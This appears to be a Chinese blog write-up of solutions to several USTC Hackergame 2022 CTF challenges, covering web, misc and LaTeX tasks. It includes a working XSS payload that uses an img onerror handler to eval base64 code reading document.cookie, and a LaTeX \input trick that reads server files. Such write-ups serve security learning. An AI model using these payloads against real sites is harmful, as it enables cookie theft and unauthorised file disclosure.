USTC Hackergame 2022 部分Writeup

USTC Hackergame 2022 部分Writeup

阅读提示

本文共1,676字,阅读大约需3分钟。

这是USTC Hackergame 2022的部分题解,部分题目的解题思路参考了官方Writeups。

Hackergame 官网:https://hack.lug.ustc.edu.cn/
官方Writeups:https://github.com/USTC-Hackergame/hackergame2022-writeups

[WEB]签到

可以看到,提交时自动加上了?result=xxxx,故只需构造?result=2022即可获得flag

flag{HappyHacking2022-3b26626714}

[MISC]家目录里的秘密

第一问

使用VS Code打开后全局搜索flag即可

flag{finding_everything_through_vscode_config_file_932rjdakd}

第二问

使用rclone自带指令反混淆

rclone reveal tqqTq4tmQRDZ0sT_leJr7-WtCiHVXSMrVN49dWELPH1uce-5DPiuDtjBUN3EI38zvewgN5JaZqAirNnLlsQ
flag{get_rclone_password_from_config!_2oi3dz1}

[MISC]HeiLang

警告:改题目违反了何不扩散条约!
简单的字符串处理,把何代码用"""括起来,定义为code
main代码前加入

    cmds = code.split('\n')
    for cmd in cmds:
        nums = cmd.split("] = ")[0]
        nums = nums.replace("a[", "")
        nums = nums.split(" | ")
        ans = int(cmd.split("] = ")[-1])
        for i in nums:
            a[int(i)] = ans

运行即可

flag{6d9ad6e9a6268d96-19264f7d66cbb1ab}

[WEB]Xcaptcha

由于Cookie有效期很短,需要编写python脚本提交

import requests

if __name__ == '__main__':
    url = "http://202.38.93.111:10047/"
    session = requests.session()
    session.get(
        url + "?token=YOUR_TOKEN")
    ret = session.get(url + "xcaptcha")
    data1 = ret.text.split(r'<label for="captcha1">')[-1].split(" 的结果是?")[0]
    data2 = ret.text.split(r'<label for="captcha2">')[-1].split(" 的结果是?")[0]
    data3 = ret.text.split(r'<label for="captcha3">')[-1].split(" 的结果是?")[0]
    ret1 = int(data1.split("+")[0]) + int(data1.split("+")[1])
    ret2 = int(data2.split("+")[0]) + int(data2.split("+")[1])
    ret3 = int(data3.split("+")[0]) + int(data3.split("+")[1])
    ret = session.post(url + "xcaptcha", data={
        'captcha1': ret1,
        'captcha2': ret2,
        'captcha3': ret3,
    })
    print(ret.text)
flag{head1E55_br0w5er_and_ReQuEsTs_areallyour_FR1ENd_d310809ffe}

[MISC]旅行照片2.0

第一问

查询exif信息即可,答案略

flag{1f_y0u_d0NT_w4nt_shOw_theSe_th3n_w1Pe_EXlF}

第二问

1.谷歌识图,找到新闻中类似建筑物:https://mainichi.jp/articles/20220713/k00/00m/040/051000c,
地点千葉市美浜区 ZOZOマリンスタジアム
附近酒店

  • 〒261-0021 千葉県千葉市美浜区ひび野2丁目3
  • 〒261-0021 千葉県千葉市美浜区ひび野2丁目120-3
  • 〒261-0021 千葉県千葉市美浜区ひび野2丁目10-2
    故邮编为261-0021

2.以“xiaomi sm6115”为内容搜索,可查询到,手机型号为骁龙662
简单搜索,根据图片倒影比对,Redmi Note 9是满足的结果
分辨率2340x1080

3/4/5.在此查询,对应UTC时间即可
https://globe.adsbexchange.com/
可能的航班:

  • ANA683
  • JAL322
  • ANA538
  • JAL518

全部查询一遍,发现匹配的是

  • ANA683

Google一下ANA683 2022-05-14

ANA683 / NH683
left GATE 66
Tokyo Int'l (Haneda) - HND
landed at
Hiroshima - HIJ
flag{Buzz_0ver_y0ur_h34d_and_4DSB_m19ht_111egal}

[MISC]Latex机器人

第一问

\input{/flag1}
flag{becAr3fu11dUd346b7a7cc0b}

第二问

官方题解使用的是\detokenize函数,方法略有复杂,还有一种解法,使用\catcode函数,根据Wiki描述

\catcode is the command that’s used to change the category code of a character. The category code tells TeX what to do when it encounters that character later in the text.
来源:https://en.wikibooks.org/wiki/TeX/catcode

因此该函数可以将字母原有的意思覆盖,查表可知,类型1112是可以定义的类别

The category codes in TeX are as follows:

0 = Escape character, normally
1 = Begin grouping, normally {
2 = End grouping, normally }
3 = Math shift, normally $
4 = Alignment tab, normally &
5 = End of line, normally <return>
6 = Parameter, normally #
7 = Superscript, normally ^
8 = Subscript, normally _
9 = Ignored character, normally <null>
10 = Space, normally <space> and <tab>
11 = Letter, normally only contains the letters a,…,z and A,…,Z. These characters can be used in command names
12 = Other, normally everything else not listed in the other categories
13 = Active character, for example ~
14 = Comment character, normally %
15 = Invalid character, normally <delete>

构造payload

{ \catcode`\_=12 \catcode`\#=12 \input{/flag2} }
flag{latex_bec_0_m##es_co__#ol_0478a6b3b7}

[WEB]Flag 的痕迹

使用了DokuWiki,从官方网站找线索,可发现两个切入点:

第二种方式需要暴力破解,数据量大,不太可行。
故使用第一种方式:访问链接http://202.38.93.111:15004/doku.php?do=diff,后退一次编辑,即可找到flag

flag{d1gandFInD_d0kuw1k1_unexpectEd_API}

[WEB]微积分计算小练习

首先访问第一个网页http://202.38.93.111:10056/,回答完题目后会跳转到结果页面,例如http://202.38.93.111:10056/share?result=MDoxMTE%3Dquery参数result经过base64解码后,是一个格式为[分数]:[姓名]的字符串。
接着分析bot的代码,可知bot会将flag放入cookie,故这是一道标准的XSS注入题
我们可以将分数字段替换为脚本:

document.getElementById('score').innerHTML=document.cookie;

该脚本的xss注入代码可以是:

<img src='non-exist.jpg' onerror="eval(atob('ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ3Njb3JlJykuaW5uZXJIVE1MPWRvY3VtZW50LmNvb2tpZQ=='))">

值得注意的是,不能使用<script></script>,因为分数是在前端解析的,出于安全原因,浏览器不允许通过innerHTML的脚本自动执行(https://developer.mozilla.org/zh-CN/docs/Web/API/Element/innerHTML#%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98)。
最终构造的payload为:

share = PGltZyBzcmM9J25vbi1leGlzdC5qcGcnIG9uZXJyb3I9ImV2YWwoYXRvYignWkc5amRXMWxiblF1WjJWMFJXeGxiV1Z1ZEVKNVNXUW9KM05qYjNKbEp5a3VhVzV1WlhKSVZFMU1QV1J2WTNWdFpXNTBMbU52YjJ0cFpRPT0nKSkiPjox

访问提交练习成绩 URL,传入链接即可获得flag

flag{xS5_1OI_is_N0t_SOHARD_985f9f9cdd}

[WEB]光与影

解法1

看源代码,可知,这块是遮住flag的代码

float t5 = t5SDF(p - vec3(36.0, 10.0, 15.0), vec3(30.0, 5.0, 5.0), 2.0);
float tmin = min(min(min(min(t1, t2), t3), t4), t5);

tmin修改为min(min(min(t1, t2), t3), t4);即可

解法2

根据代码,我们可以看到大量的点坐标,如果把他们整理一下,显示出来,会不会就是flag呢?
值得注意的是,显示的图像是上下颠倒的,但不影响阅读。

import re
from PIL import Image, ImageDraw

data = """把每段sdf放在此处"""

pattern = r'vec3\((.+?)\,(.+?)\,(.+?)\)'

if __name__ == '__main__':
    dd = re.findall(pattern, data)
    dots = []
    for d in dd:
        dots.append([int(d[0]), int(d[1]), int(d[2])])
    print(dots)
    im = Image.new('RGB', (300, 300), 0)
    # 创建可绘制的对象
    draw = ImageDraw.Draw(im)
    for d in dots:
        draw.point((d[0], d[1]), (255,0,0))
    im.show()

第一段:

flag{
第二段:

SDF-
第三段:

i3-
第四段:

FuN!}

组合即可

flag{SDF-i3-FuN!}
# CTF  WEB  MISC  XSS 

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×